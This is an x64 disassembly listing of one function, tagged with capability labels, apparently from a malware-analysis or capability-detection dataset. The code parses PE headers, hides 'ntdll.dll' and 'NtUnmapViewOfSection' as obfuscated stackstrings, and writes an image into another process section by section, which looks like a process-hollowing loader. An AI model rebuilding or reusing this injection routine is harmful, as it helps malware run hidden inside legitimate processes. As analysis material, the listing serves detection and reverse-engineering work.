Function at 0x14006701c
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x68]
sub rsp, 0x140
mov qword [rbp - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov r15, r8
mov rsi, rdx
mov r13, rcx
xor r12d, r12d
mov bl, r12b
mov byte [rbp + 0x88], bl
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], r12
or dword [rbp + 0x90], 0xffffffff
lea rcx, [rbp + 0x90]
call fcn.140069900
mov dil, r12b
mov r14b, byte [rbp + 0xa8]
test r14b, r14b
je 0x140067137
movdqa xmm0, xmmword [0x140092a60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r12b
mov r9b, byte [rbp + 0xa0]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x40]
mov ecx, eax
call fcn.14000c504
test al, al
je 0x1400670f3
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400670f3
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
call fcn.140073cf8
test eax, eax
je 0x1400670f3
mov rdx, qword [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.14000a0fc
movzx edi, r12b
test eax, eax
lea eax, [r12 + 1]
cmovne edi, eax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x14006712e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140067129
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400676f5
call fcn.14003ab08
test dil, dil
je 0x1400676cc
lea rdx, [0x140091760]
lea rcx, [rbp - 0x70]
call fcn.140062ef0
cmp qword [rax + 0x18], 0x10
jb 0x140067151
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140067198
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140067193
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400676fb
call fcn.14003ab08
movdqa xmm0, xmmword [0x140092a60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r12b
test rdi, rdi
je 0x1400676cc
lea rdx, [0x140090920]
lea rcx, [rsp + 0x60]
call fcn.140062ef0
cmp qword [rax + 0x18], 0x10
jb 0x1400671cd
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009f7f0], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14006721d
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140067218
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140067701
call fcn.14003ab08
lea rdx, [0x140090950]
lea rcx, [rsp + 0x60]
call fcn.140062ef0
cmp qword [rax + 0x18], 0x10
jb 0x140067238
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009f7e8], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140067288
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140067283
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140067707
call fcn.14003ab08
lea rdx, [0x140090980]
lea rcx, [rsp + 0x60]
call fcn.140062ef0
cmp qword [rax + 0x18], 0x10
jb 0x1400672a3
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009f7e0], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400672f3
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400672ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006770d
call fcn.14003ab08
mov eax, 0x5a4d
cmp word [r13], ax
jne 0x140067597
movsxd rax, dword [r13 + 0x3c]
lea rbx, [rax + r13]
cmp dword [rbx], 0x4550
jne 0x140067591
lea rdx, [rbp + 0xa8]
mov rcx, rsi
call fcn.140010a28
mov ecx, 0x14c
mov eax, dword [rbp + 0xa8]
cmp word [rbx + 4], cx
jne 0x14006733f
test eax, eax
jne 0x1400676cc
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x140067353
cmp eax, 6
jne 0x1400676cc
lea rdi, [rbp - 0x70]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x30]
lea edx, [rax + 0x68]
mov ecx, edx
rep stosb byte [rdi], al
mov dword [rbp - 0x30], edx
mov dword [rbp + 0xc], 0x101
mov word [rbp + 0x10], r12w
lea rax, [rbp - 0x70]
test r14b, r14b
je 0x1400673a9
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov r8, r15
mov rdx, rsi
mov rcx, qword [rbp - 0x48]
call fcn.14000a1e8
jmp 0x1400673c2
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov rdx, r15
mov rcx, rsi
call fcn.14006b408
test eax, eax
je 0x140067591
mov edx, ntohs
call fcn.14001126c
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x68]
call fcn.14006b518
mov rcx, qword [rbp - 0x70]
test eax, eax
je 0x14006758c
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x90]
call qword [0x14009f7f0]
lea r12, [rbx + 0x30]
mov rdx, qword [r12]
mov eax, dword [rbp + 0x90]
xor r15d, r15d
cmp rax, rdx
jne 0x1400674b3
mov dword [rbp - 0x7d], 0x642e6c6c
mov word [rbp - 0x78], WSASetLastError
mov byte [rbp - 0x79], WSAGetLastError
mov word [rbp - 0x80], 0x746e
mov byte [rbp - 0x7e], 0x64
mov dword [rsp + 0x61], 0x6d6e5574
mov word [rsp + 0x70], 0x6974
mov word [rsp + 0x73], WSACleanup
mov dword [rsp + 0x6a], 0x53664f77
mov dword [rsp + 0x66], 0x65695670
mov word [rsp + 0x6e], 0x6365
mov byte [rsp + 0x60], 0x4e
mov byte [rsp + 0x72], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0x65], 0x61
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp + 0x90]
mov rcx, qword [rbp - 0x70]
call rax
mov rdx, qword [rbx + 0x30]
neg byte [rbp + 0x98]
sbb eax, eax
and eax, 0x3c
add eax, 4
mov r8d, dword [rbx + 0x50]
mov dword [rsp + 0x20], eax
mov rcx, qword [rbp - 0x70]
call fcn.140011340
mov r14, rax
mov rcx, qword [rbp - 0x70]
test rax, rax
je 0x140067582
mov r9d, dword [rbx + 0x54]
mov r8, r13
mov rdx, rax
call fcn.14006b5ec
movzx esi, word [rbx + 0x14]
add rsi, 0x2c
xor eax, eax
cmp ax, word [rbx + 6]
jae 0x140067535
add rsi, rbx
lea r12d, [rax + 1]
mov r9d, dword [rsi - 4]
mov r8d, dword [rsi]
add r8, r13
mov edx, dword [rsi - 8]
add rdx, r14
mov rcx, qword [rbp - 0x70]
call fcn.14006b5ec
lea rsi, [rsi + 0x28]
add r15d, r12d
movzx eax, word [rbx + 6]
cmp r15d, eax
jl 0x140067508
lea r12, [rbx + 0x30]
mov rdx, qword [rdi + 0x88]
add rdx, 0x10
mov r9d, 8
mov r8, r12
mov rcx, qword [rbp - 0x70]
call fcn.14006b5ec
mov eax, dword [rbx + 0x28]
add rax, r14
mov qword [rdi + 0x80], rax
mov rdx, rdi
mov rcx, qword [rbp - 0x68]
call qword [0x14009f7e8]
mov rcx, qword [rbp - 0x68]
call qword [0x14009f7e0]
mov eax, 1
mov bl, al
xor r12d, r12d
jmp 0x140067597
call fcn.140073df4
xor r12d, r12d
jmp 0x140067591
call fcn.140073df4
mov bl, byte [rbp + 0x88]
cmp qword [rbp - 0x50], r12
je 0x1400676a8
lea rdx, [0x1400909a0]
lea rcx, [rbp - 0x70]
call fcn.140062ef0
nop
cmp qword [rax + 0x18], 0x10
jb 0x1400675bc
mov rax, qword [rax]
mov rcx, rax
call fcn.14000a320
mov rdi, rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140067602
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400675fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140067713
call fcn.14003ab08
movdqa xmm0, xmmword [0x140092a60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r12b
test rdi, rdi
je 0x1400676a8
lea rdx, [0x1400909c0]
lea rcx, [rsp + 0x60]
call fcn.140062ef0
cmp qword [rax + 0x18], 0x10
jb 0x140067637
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14009f818], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14006768a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006767e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400676ef
call fcn.14003ab08
mov rax, qword [0x14009f818]
movdqa xmm0, xmmword [0x140092a60]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r12b
test rax, rax
je 0x1400676a8
mov rcx, qword [rbp - 0x50]
call rax
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400676ba
call fcn.1400091bc
mov qword [rbp - 0x48], r12
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x1400676c8
call fcn.1400091bc
mov al, bl
jmp 0x1400676ce
xor al, al
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14003f284
int3
call fcn.14003f284
int3
call fcn.14003f284
int3
call fcn.14003f284
int3
call fcn.14003f284
int3
call fcn.14003f284
int3
call fcn.14003f284
int3